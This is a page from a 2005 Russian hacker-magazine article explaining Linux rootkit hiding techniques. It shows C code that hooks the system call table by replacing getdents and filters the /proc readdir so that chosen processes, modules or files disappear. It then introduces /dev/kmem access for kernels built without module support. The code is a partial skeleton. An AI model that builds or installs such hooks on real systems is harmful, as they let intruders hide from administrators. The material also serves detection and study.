Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #77, МАЙ 2005 г.

Поиграем с туксом в прятки

Крис Касперски ака мыщъх

Хакер, номер #077, стр. 077-102-5


Простейший пример перехвата выглядит так (за более подробной информацией обращайся к статье "Weakening the Linux Kernel", опубликованной в 52 номере PHRACK'а):

Техника перехвата системных вызовов

// указатель на таблицу системных вызовов

extern void *sys_call_table[];

// указатели на старые системные вызовы

int (*o_getdents) (uint, struct dirent *, uint);

// перехват!

int init_module(void)

{

// получаем указатель на оригинальный

// системный вызов SYS_getdents

// и сохраняем его в переменной o_getdents

o_getdents = sys_call_table[SYS_getdents];

// заносим указатель на функцию перехватчик

// (код самого перехватчика для экономии здесь не показан)

sys_call_table[SYS_getdents] = (void *) n_getdents;

// возвращаемся

return 0;

}

// восстановление оригинальных обработчиков

void cleanup_module(void)

{

sys_call_table[SYS_getdents] = o_getdents;

}

По такому принципу работает подавляющее большинство rootkit'ов, правда, попав на неизвестное ядро, часть из них со страшным грохотом падает, а часть просто прекращает работу, что и не удивительно! Ведь раскладка системных вызовов меняется от ядра к ядру!

[перехват запросов к файловой системе]

Ядро экспортирует переменную proc_root — корневой узел (root inode) виртуальной файловой системы proc_root, традиционно монтируемой на директорию /proc. При желании мы можем установить поверх нее свой собственный фильтр-обработчик, скрывающий хакерские процессы от чужих глаз. В отличие от системных вызовов, перехват переменной proc_root не чувствителен к версии ядра, а это уже преимущество!

Простейший перехватчик может выглядеть так (за более подробной информацией обращайся к статье "Sub proc_root Quando Sumus", опубликованной в 3Ah номере PHRACK'a):

Новый фильтр для файловой системы proc_root

// глобальный указатель на оригинальную filldir-функцию

filldir_t real_filldir;

static int new_filldir_root (void* __buf, const char* name, int namlen, off_t offset, ino_t ino)

{

// анализируем каждое имя в директории,

// если это имя того модуля/процесса/файла/сетевого соединения,

// которое мы хотим скрыть, возвращаем нуль,

// в противном случае передаем управление оригинальной

// filldir-функции

if (isHidden (name)) return 0;

return real_filldir (__buf, name, namlen, offset, ino);

}

// новая функция readdir

int new_readdir_root (struct file *a, void *b, filldir_t c)

{

// инициализируем указатель на оригинальную filldir-функцию

real_filldir = c;

return old_readdir_root (a, b, new_filldir_root);

}

// устанавливаем свой собственный фильтр

proc_root.FILE_OPS->readdir = new_readdir_root;

[когда модули недоступны]

Для борьбы с LKM-rootkit'ами некоторые админы компилируют ядро без поддержки загружаемых модулей и удаляют файл System.map, лишая нас таблицы символов. Но хакеры выживают даже в этих суровых условиях.

Идеология UNIX выгодно отличается от Windows тем, что любая сущность (будь то устройство, процесс или сетевое соединение) монтируется на файловую систему, подчиняясь общим правилам. Не избежала этой участи и оперативная память, представленная "псевдоустройствами" /dev/mem (физическая память до виртуальной трансляции) и /dev/kmem (физическая память после виртуальной трансляции). Манипулировать с данными устройствами может только root, однако, спускаться на уровень ядра ему необязательно, а, значит, поддержка модульности нам не нужна! Следующие функции демонстрируют технику чтения/записи ядерной памяти с прикладного уровня:

Назад на стр. 077-102-4  Содержание  Вперед на стр. 077-102-6